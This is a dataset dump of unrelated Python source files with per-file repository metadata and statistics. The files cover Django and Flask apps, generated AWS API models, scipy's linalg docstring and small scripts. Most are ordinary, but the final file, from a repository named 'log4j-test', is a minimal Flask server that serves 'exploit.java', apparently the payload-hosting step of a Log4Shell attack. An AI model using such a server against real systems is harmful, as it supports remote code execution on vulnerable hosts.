| 29.5 | 50 | 0.644068 | 18 | 118 | 4.166667 | 0.611111 | 0.346667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042105 | 0.194915 | 118 | 3 | 51 | 39.333333 | 0.747368 | 0.322034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
6d5ac6aae16a11bcdf206a3e94acd406b3c5572f | 1,263 | py | Python | hospital/admin.py | kurbster/HospitalManagement | c00f7d55687b05bea50cdddc8f6ef037176374dd | [
"MIT"
] | 1 | 2022-03-21T15:39:32.000Z | 2022-03-21T15:39:32.000Z | hospital/admin.py | kurbster/HospitalManagement | c00f7d55687b05bea50cdddc8f6ef037176374dd | [
"MIT"
] | null | null | null | hospital/admin.py | kurbster/HospitalManagement | c00f7d55687b05bea50cdddc8f6ef037176374dd | [
"MIT"
] | 4 | 2022-03-16T05:19:00.000Z | 2022-03-29T19:32:26.000Z | from django.contrib import admin
from .models import *
# Register your models here.
class DoctorAdmin(admin.ModelAdmin):
pass
admin.site.register(Doctor, DoctorAdmin)
class HospitalStaffAdmin(admin.ModelAdmin):
pass
admin.site.register(HospitalStaff, HospitalStaffAdmin)
#insurance created by prem
class Insura... | 26.87234 | 74 | 0.820269 | 132 | 1,263 | 7.80303 | 0.295455 | 0.160194 | 0.202913 | 0.256311 | 0.398058 | 0.398058 | 0.083495 | 0 | 0 | 0 | 0 | 0 | 0.096595 | 1,263 | 46 | 75 | 27.456522 | 0.902717 | 0.04038 | 0 | 0.314286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.314286 | 0.057143 | 0 | 0.371429 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
6d61d05656b0f6d2a7b73d2212cfe1c5f94956a3 | 238 | py | Python | app/index/routes.py | lambda-science/IMPatienT | e6eac6abfbdb7e944484b3c4b1b8c7af8441f79e | [
"MIT"
] | 5 | 2021-11-29T08:40:11.000Z | 2022-01-04T19:00:03.000Z | app/index/routes.py | lambda-science/IMPatienT | e6eac6abfbdb7e944484b3c4b1b8c7af8441f79e | [
"MIT"
] | 18 | 2022-01-06T10:24:40.000Z | 2022-03-21T11:00:22.000Z | app/index/routes.py | lambda-science/MYO-xIA-App | e6eac6abfbdb7e944484b3c4b1b8c7af8441f79e | [
"MIT"
] | null | null | null | from app.index import bp
from flask import render_template
@bp.route("/")
def index():
"""View function for the Index page
Returns:
str: HTML template for the Index page
"""
return render_template("index.html")
| 18.307692 | 45 | 0.668067 | 33 | 238 | 4.757576 | 0.575758 | 0.178344 | 0.140127 | 0.191083 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231092 | 238 | 12 | 46 | 19.833333 | 0.857924 | 0.352941 | 0 | 0 | 0 | 0 | 0.081481 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.4 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
ed8d49a29d780e9453a79e0f41562a0981cc3e4e | 355 | py | Python | src/masonite/managers/__init__.py | Abeautifulsnow/masonite | f0ebb5ca05f5d88f21264e1cd0934435bd0a8791 | [
"MIT"
] | 95 | 2018-02-22T23:54:00.000Z | 2021-04-17T03:39:21.000Z | src/masonite/managers/__init__.py | Abeautifulsnow/masonite | f0ebb5ca05f5d88f21264e1cd0934435bd0a8791 | [
"MIT"
] | 840 | 2018-01-27T04:26:20.000Z | 2021-01-24T12:28:58.000Z | src/masonite/managers/__init__.py | Abeautifulsnow/masonite | f0ebb5ca05f5d88f21264e1cd0934435bd0a8791 | [
"MIT"
] | 100 | 2018-02-23T00:19:55.000Z | 2020-08-28T07:59:31.000Z | from .Manager import Manager
from .AuthManager import AuthManager
from .BroadcastManager import BroadcastManager
from .CacheManager import CacheManager
from .MailManager import MailManager
from .QueueManager import QueueManager
from .SessionManager import SessionManager
from .StorageManager import StorageManager
from .... | 35.5 | 46 | 0.873239 | 36 | 355 | 8.611111 | 0.305556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.101408 | 355 | 9 | 47 | 39.444444 | 0.971787 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
edc30da0a8567d391b366e62b591455f9a20269a | 15 | py | Python | Emmanuel/Notebooks/Eda.py | daye-oa/Data-Science-Projects | 605fe78f78561725657295a7c0ba1600d8750019 | [
"MIT"
] | null | null | null | Emmanuel/Notebooks/Eda.py | daye-oa/Data-Science-Projects | 605fe78f78561725657295a7c0ba1600d8750019 | [
"MIT"
] | null | null | null | Emmanuel/Notebooks/Eda.py | daye-oa/Data-Science-Projects | 605fe78f78561725657295a7c0ba1600d8750019 | [
"MIT"
] | 2 | 2020-09-30T13:40:01.000Z | 2021-06-21T21:00:19.000Z | my first work
| 7.5 | 14 | 0.733333 | 3 | 15 | 3.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.266667 | 15 | 1 | 15 | 15 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
edd58058afddc4ea4797173a155b989cf13a7070 | 19 | py | Python | data/studio21_generated/introductory/4746/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | data/studio21_generated/introductory/4746/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | data/studio21_generated/introductory/4746/starter_code.py | vijaykumawat256/Prompt-Summarization | 614f5911e2acd2933440d909de2b4f86653dc214 | [
"Apache-2.0"
] | null | null | null | def fisHex(name):
| 9.5 | 17 | 0.684211 | 3 | 19 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 19 | 2 | 18 | 9.5 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
edf50eaa9a4cf1845fd029d81f0139d8d13068bb | 148 | py | Python | MyWatchList/views/ErrorsHandler.py | fgl-foundation/MovieDB | 17bf065336f52f7f6ef423f85b6aa5315b1d685f | [
"MIT"
] | null | null | null | MyWatchList/views/ErrorsHandler.py | fgl-foundation/MovieDB | 17bf065336f52f7f6ef423f85b6aa5315b1d685f | [
"MIT"
] | 1 | 2019-11-02T15:06:25.000Z | 2019-11-05T17:13:37.000Z | MyWatchList/views/ErrorsHandler.py | fgl-foundation/MovieDB | 17bf065336f52f7f6ef423f85b6aa5315b1d685f | [
"MIT"
] | null | null | null | from django.shortcuts import render
def error_404(request,*args, **argv):
data = {}
return render(request, 'error_404.html', data) | 24.666667 | 54 | 0.662162 | 19 | 148 | 5.052632 | 0.736842 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051282 | 0.209459 | 148 | 6 | 54 | 24.666667 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0.09396 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
61085a65185cc4889b65505fa694872ba0016b20 | 301 | py | Python | ldap_parser.py | frnde/ldap_errors_fixer | 4ec5a98b94baa3fe8a17ce1819e66bf9ee267962 | [
"MIT"
] | null | null | null | ldap_parser.py | frnde/ldap_errors_fixer | 4ec5a98b94baa3fe8a17ce1819e66bf9ee267962 | [
"MIT"
] | null | null | null | ldap_parser.py | frnde/ldap_errors_fixer | 4ec5a98b94baa3fe8a17ce1819e66bf9ee267962 | [
"MIT"
] | null | null | null |
from ldif import LDIFParser
class ParseLDIF(LDIFParser):
def __init__(self, input_file, processing_object):
LDIFParser.__init__(self, input_file)
self.processing_object = processing_object
def handle(self,dn, entry):
self.processing_object.process_entry(dn, entry)
| 25.083333 | 55 | 0.734219 | 36 | 301 | 5.722222 | 0.472222 | 0.31068 | 0.126214 | 0.165049 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186047 | 301 | 11 | 56 | 27.363636 | 0.840816 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
612b8e23bea8c1f5a6864eb39305cd69ab9d0d6d | 596 | py | Python | experimentor/models/experiments/exceptions.py | aquilesC/experimentor | 1a70760912ef40f0e2aaee44ed1a1e5594fd5b45 | [
"MIT"
] | 4 | 2020-05-15T04:07:25.000Z | 2020-09-30T22:20:46.000Z | experimentor/models/experiments/exceptions.py | aquilesC/experimentor | 1a70760912ef40f0e2aaee44ed1a1e5594fd5b45 | [
"MIT"
] | null | null | null | experimentor/models/experiments/exceptions.py | aquilesC/experimentor | 1a70760912ef40f0e2aaee44ed1a1e5594fd5b45 | [
"MIT"
] | null | null | null | # ##############################################################################
# Copyright (c) 2021 Aquiles Carattino, Dispertech B.V. #
# exceptions.py is part of experimentor #
# This file is released under an MIT license. ... | 54.181818 | 80 | 0.39094 | 38 | 596 | 6.131579 | 0.868421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009685 | 0.307047 | 596 | 11 | 81 | 54.181818 | 0.554479 | 0.451342 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 4 |
b666f772cff831b8a3d5f0d495ce37c231874a5c | 2,012 | py | Python | src/tanuki/data_store/index/index.py | M-J-Murray/tanuki | cfd0dec1003651156e8d34eae191898b66765bc7 | [
"BSD-3-Clause"
] | null | null | null | src/tanuki/data_store/index/index.py | M-J-Murray/tanuki | cfd0dec1003651156e8d34eae191898b66765bc7 | [
"BSD-3-Clause"
] | null | null | null | src/tanuki/data_store/index/index.py | M-J-Murray/tanuki | cfd0dec1003651156e8d34eae191898b66765bc7 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import annotations
from abc import abstractmethod, abstractproperty
from typing import Any, Generic, TYPE_CHECKING, TypeVar, Union
import numpy as np
if TYPE_CHECKING:
from tanuki.data_store.column_alias import ColumnAlias
from tanuki.data_store.index.pandas_index import PandasIndex
C = Ty... | 24.839506 | 64 | 0.664513 | 205 | 2,012 | 6.273171 | 0.278049 | 0.2986 | 0.384137 | 0.414463 | 0.412908 | 0.332815 | 0.275272 | 0.275272 | 0.275272 | 0 | 0 | 0 | 0.228131 | 2,012 | 80 | 65 | 25.15 | 0.828075 | 0 | 0 | 0.561404 | 0 | 0 | 0.005964 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.280702 | false | 0 | 0.105263 | 0 | 0.403509 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
b66f7d200f6a8e6fffa2f297bae15cabd10a002b | 179 | py | Python | majority_report/views.py | jdelasoie/majority-report-vue | dddd6c03c265806f1d06b8adf219081e95530c46 | [
"Unlicense"
] | null | null | null | majority_report/views.py | jdelasoie/majority-report-vue | dddd6c03c265806f1d06b8adf219081e95530c46 | [
"Unlicense"
] | null | null | null | majority_report/views.py | jdelasoie/majority-report-vue | dddd6c03c265806f1d06b8adf219081e95530c46 | [
"Unlicense"
] | null | null | null | from django.contrib.auth.models import User
from django.shortcuts import render
from rest_framework import viewsets
def index(request):
return render(request, 'index.html')
| 22.375 | 43 | 0.798883 | 25 | 179 | 5.68 | 0.68 | 0.140845 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128492 | 179 | 7 | 44 | 25.571429 | 0.910256 | 0 | 0 | 0 | 0 | 0 | 0.055866 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.6 | 0.2 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 4 |
b6802229ceceab2f39aff8749322b0b6a8532231 | 65 | py | Python | QuickDemos/TabsVSpaces.py | dannystiv/CMPT-120L-201-22S | f2fc5d71d6c75d8f369b1f7207b23d04af186e8c | [
"MIT"
] | 1 | 2022-02-19T17:57:57.000Z | 2022-02-19T17:57:57.000Z | QuickDemos/TabsVSpaces.py | dannystiv/CMPT-120L-201-22S | f2fc5d71d6c75d8f369b1f7207b23d04af186e8c | [
"MIT"
] | null | null | null | QuickDemos/TabsVSpaces.py | dannystiv/CMPT-120L-201-22S | f2fc5d71d6c75d8f369b1f7207b23d04af186e8c | [
"MIT"
] | 24 | 2022-02-03T01:37:44.000Z | 2022-02-17T00:00:10.000Z | if true:
if False:
if True:
print("Wooo") | 16.25 | 25 | 0.430769 | 8 | 65 | 3.5 | 0.625 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.461538 | 65 | 4 | 25 | 16.25 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0.060606 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.25 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
b68b3d3e4ab405ae0cd97dbc8f74a2e32c9e9cb7 | 190 | py | Python | tests/asp/cautious/test14.bug.multiaggregates.gringo.cautious.asp.test.py | bernardocuteri/wasp | 05c8f961776dbdbf7afbf905ee00fc262eba51ad | [
"Apache-2.0"
] | 19 | 2015-12-03T08:53:45.000Z | 2022-03-31T02:09:43.000Z | tests/asp/cautious/test14.bug.multiaggregates.gringo.cautious.asp.test.py | bernardocuteri/wasp | 05c8f961776dbdbf7afbf905ee00fc262eba51ad | [
"Apache-2.0"
] | 80 | 2017-11-25T07:57:32.000Z | 2018-06-10T19:03:30.000Z | tests/asp/cautious/test14.bug.multiaggregates.gringo.cautious.asp.test.py | bernardocuteri/wasp | 05c8f961776dbdbf7afbf905ee00fc262eba51ad | [
"Apache-2.0"
] | 6 | 2015-01-15T07:51:48.000Z | 2020-06-18T14:47:48.000Z | input = """
8 2 2 3 0 0
8 2 4 5 0 0
2 6 4 0 3 5 4 3 2
2 7 4 0 2 5 4 3 2
1 8 2 1 6 7
0
8 ok
2 a(1)
3 a(2)
4 a(3)
5 a(4)
6 aggrGT3
7 aggrGT2
0
B+
0
B-
1
0
1
"""
output = """
{aggrGT2, ok}
"""
| 7.307692 | 17 | 0.5 | 66 | 190 | 1.439394 | 0.242424 | 0.063158 | 0.063158 | 0.084211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.459016 | 0.357895 | 190 | 25 | 18 | 7.6 | 0.319672 | 0 | 0 | 0.08 | 0 | 0 | 0.836842 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
b68f7c71781c96cc99929960e3960e6891d8a739 | 9,901 | py | Python | pacu/models/awsapi/resourcegroupstaggingapi.py | RyanJarv/Pacu2 | 27df4bcf296fc8f467d3dc671a47bf9519ce7a24 | [
"MIT"
] | 1 | 2022-03-09T14:51:54.000Z | 2022-03-09T14:51:54.000Z | pacu/models/awsapi/resourcegroupstaggingapi.py | RyanJarv/Pacu2 | 27df4bcf296fc8f467d3dc671a47bf9519ce7a24 | [
"MIT"
] | null | null | null | pacu/models/awsapi/resourcegroupstaggingapi.py | RyanJarv/Pacu2 | 27df4bcf296fc8f467d3dc671a47bf9519ce7a24 | [
"MIT"
] | null | null | null | # generated by datamodel-codegen:
# filename: openapi.yaml
# timestamp: 2021-12-31T02:54:49+00:00
from __future__ import annotations
from enum import Enum
from typing import Annotated, Any, List, Optional
from pydantic import BaseModel, Extra, Field
class DescribeReportCreationInput(BaseModel):
pass
cla... | 28.048159 | 1,590 | 0.755984 | 1,064 | 9,901 | 6.901316 | 0.253759 | 0.04603 | 0.044941 | 0.045758 | 0.232194 | 0.163285 | 0.115212 | 0.069318 | 0.033229 | 0.033229 | 0 | 0.010349 | 0.150894 | 9,901 | 352 | 1,591 | 28.127841 | 0.862852 | 0.236037 | 0 | 0.217391 | 1 | 0 | 0.021282 | 0.006559 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.108696 | 0.021739 | 0 | 0.880435 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 4 |
fcca09cb6dcdfba0240266658ba60ae5543049ec | 6,562 | py | Python | bin/Python27/Lib/site-packages/scipy/linalg/__init__.py | lefevre-fraser/openmeta-mms | 08f3115e76498df1f8d70641d71f5c52cab4ce5f | [
"MIT"
] | null | null | null | bin/Python27/Lib/site-packages/scipy/linalg/__init__.py | lefevre-fraser/openmeta-mms | 08f3115e76498df1f8d70641d71f5c52cab4ce5f | [
"MIT"
] | null | null | null | bin/Python27/Lib/site-packages/scipy/linalg/__init__.py | lefevre-fraser/openmeta-mms | 08f3115e76498df1f8d70641d71f5c52cab4ce5f | [
"MIT"
] | 1 | 2020-05-07T11:04:14.000Z | 2020-05-07T11:04:14.000Z | """
====================================
Linear algebra (:mod:`scipy.linalg`)
====================================
.. currentmodule:: scipy.linalg
Linear algebra functions.
.. seealso::
`numpy.linalg` for more linear algebra functions. Note that
although `scipy.linalg` imports most of them, ident... | 30.95283 | 79 | 0.701006 | 818 | 6,562 | 5.52934 | 0.319071 | 0.013266 | 0.031837 | 0.029184 | 0.114968 | 0.09109 | 0.030069 | 0 | 0 | 0 | 0 | 0.000781 | 0.219598 | 6,562 | 211 | 80 | 31.099526 | 0.882445 | 0.811643 | 0 | 0.171429 | 0 | 0 | 0.057087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.057143 | 0.6 | 0 | 0.6 | 0.028571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 4 |
fcd135c962cacf5ab29cecbde782c9cdf0c48c22 | 909 | py | Python | Python/SCRIPT PYTHON/Media_Notas.py | guimaraesalves/material-python | d56b6b24ae35a67d394b43cb1ef4420805c7bd9b | [
"MIT"
] | null | null | null | Python/SCRIPT PYTHON/Media_Notas.py | guimaraesalves/material-python | d56b6b24ae35a67d394b43cb1ef4420805c7bd9b | [
"MIT"
] | null | null | null | Python/SCRIPT PYTHON/Media_Notas.py | guimaraesalves/material-python | d56b6b24ae35a67d394b43cb1ef4420805c7bd9b | [
"MIT"
] | null | null | null | print ('==================================')
print (' EXERCÍCIO MÉDIA DAS NOTAS ')
print ('==================================')
n1 = int (input('INFORME A PRIMEIRA NOTA: '))
n2 = int (input('INFORME A SEGUNDA NOTA: '))
n3 = int (input('INFORME A TERCEIRA NOTA: '))
n4 = int (input('INFORME A QUARTA NOTA: '))
... | 36.36 | 78 | 0.454345 | 97 | 909 | 4.257732 | 0.381443 | 0.116223 | 0.217918 | 0.154964 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028112 | 0.178218 | 909 | 25 | 78 | 36.36 | 0.524766 | 0 | 0 | 0.333333 | 0 | 0 | 0.618681 | 0.235165 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.666667 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
fcd99966132fcb6f4c7148628e979e7c46b8f0f2 | 23 | py | Python | venv/Lib/site-packages/tqdm/_dist_ver.py | mintzer/pupillometry-rf-back | cfa86fa984a49dce0123798f8de5b838c02e10d5 | [
"CC-BY-4.0"
] | null | null | null | venv/Lib/site-packages/tqdm/_dist_ver.py | mintzer/pupillometry-rf-back | cfa86fa984a49dce0123798f8de5b838c02e10d5 | [
"CC-BY-4.0"
] | null | null | null | venv/Lib/site-packages/tqdm/_dist_ver.py | mintzer/pupillometry-rf-back | cfa86fa984a49dce0123798f8de5b838c02e10d5 | [
"CC-BY-4.0"
] | null | null | null | __version__ = '4.63.1'
| 11.5 | 22 | 0.652174 | 4 | 23 | 2.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 0.130435 | 23 | 1 | 23 | 23 | 0.35 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
1e06f394ef605142da1a81edc1b850a290853c8f | 97 | py | Python | AutoApiTest/apps.py | github-xiaoh/httpRunnerManager | 6d809894e7adaac73c0f600b684e40ffbf7c61b5 | [
"MIT"
] | 1 | 2018-12-27T04:45:13.000Z | 2018-12-27T04:45:13.000Z | AutoApiTest/apps.py | github-xiaoh/practice | 6d809894e7adaac73c0f600b684e40ffbf7c61b5 | [
"MIT"
] | 3 | 2021-03-25T23:59:13.000Z | 2022-03-29T22:02:58.000Z | AutoApiTest/apps.py | github-xiaoh/practice | 6d809894e7adaac73c0f600b684e40ffbf7c61b5 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class AutoapitestConfig(AppConfig):
name = 'AutoApiTest'
| 16.166667 | 35 | 0.773196 | 10 | 97 | 7.5 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154639 | 97 | 5 | 36 | 19.4 | 0.914634 | 0 | 0 | 0 | 0 | 0 | 0.113402 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
1e206013552105a02775ec5a3e1eb3b78b896f11 | 22,958 | py | Python | main/views.py | ArighnaIITG/NoDues-Portal | 4a24f5f34c74060dbe4eb5a7100c898f7707aab0 | [
"MIT"
] | null | null | null | main/views.py | ArighnaIITG/NoDues-Portal | 4a24f5f34c74060dbe4eb5a7100c898f7707aab0 | [
"MIT"
] | null | null | null | main/views.py | ArighnaIITG/NoDues-Portal | 4a24f5f34c74060dbe4eb5a7100c898f7707aab0 | [
"MIT"
] | null | null | null | from django.http import HttpResponse
from django.template import loader
from .models import *
from django.contrib.auth import authenticate, login
from django.contrib.auth import logout
from django.http import JsonResponse
from django.shortcuts import render, get_object_or_404, redirect, HttpResponseRedirect
from django... | 42.992509 | 168 | 0.539638 | 2,214 | 22,958 | 5.49729 | 0.051491 | 0.049298 | 0.050283 | 0.066141 | 0.838468 | 0.7918 | 0.738477 | 0.684003 | 0.613097 | 0.555994 | 0 | 0.002845 | 0.357043 | 22,958 | 533 | 169 | 43.073171 | 0.821692 | 0.000653 | 0 | 0.639066 | 0 | 0 | 0.114003 | 0.009242 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.004246 | 0.019108 | null | null | 0.002123 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
1e3ec1e1edc917c8fb378f0dd054be1b44724948 | 158 | py | Python | main.py | FDMZ17/log4j-test | 35c89ec36b938ec8969c0b6f5bb51b94801c3630 | [
"MIT"
] | null | null | null | main.py | FDMZ17/log4j-test | 35c89ec36b938ec8969c0b6f5bb51b94801c3630 | [
"MIT"
] | null | null | null | main.py | FDMZ17/log4j-test | 35c89ec36b938ec8969c0b6f5bb51b94801c3630 | [
"MIT"
] | null | null | null | from flask import Flask
app = Flask(__name__)
@app.route("/exploit.java")
def exploit():
return open("exploit.java").read()
